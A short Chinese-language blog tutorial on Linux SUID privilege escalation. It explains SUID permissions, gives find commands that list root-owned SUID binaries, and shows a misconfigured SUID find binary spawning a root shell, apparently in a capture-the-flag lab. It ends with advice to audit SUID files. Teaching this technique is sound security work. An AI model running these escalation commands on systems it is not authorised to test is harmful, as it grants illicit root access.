Linux下SUID提权

Posted by Tattoo on 2020-02-18
Estimated Reading Time 1 Minutes
Words 474 In Total
Viewed Times

什么是SUID?

SUID 全称 Set User ID
它是一种特殊权限,设置了suid的程序文件,在用户执行该程序时,用户的权限是该程序文件属主(拥有者)的权限。例如程序文件的属主是root,那么执行该程序的用户就将暂时获得root账户的权限。sgid与suid类似,只是执行程序时获得的是文件属组的权限。

文章:关于SUID与SGID的详解

SUID提权

若当前用户为普通用户,而某文件拥有者为root用户,此时就可以利用系统中的二进制文件和工具进行root提权

那么,哪些文件可以用来提权呢?
执行以下任意一条命令可以发现系统上运行的所有SUID可执行文件,命令具体的意义就是查找具有root权限的SUID的文件

1
2
3
4
5
find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls -ldb {} \;

首先查看当前用户以及权限

查找所有SUID可执行文件

上面列出的文件都可以以root权限运行,他们的拥有者都是root

利用find文件提权

查看find文件的权限信息,确实是root用户权限的suid的文件,所有通过find执行的命令都会以root权限运行

touch … 创建文件
find … -exec “…” 查找文件后执行系统命令

1
2
3
touch getroot								//创建文件名为getroot的文件
find getroot -exec "whoami" \; //查找文件后执行系统命令whoami
find getroot -exec "/bin/sh" \; //查找文件后打开系统终端

得到finalflag

总结

事实证明,通过简单的几条命令,可以从普通用户提升到root用户权限,实际环境中应该对所有suid文件进行评估,是否需要以root用户执行,以确保安全性


If you like this blog or find it useful for you, you are welcome to comment on it. You are also welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them. Thank you !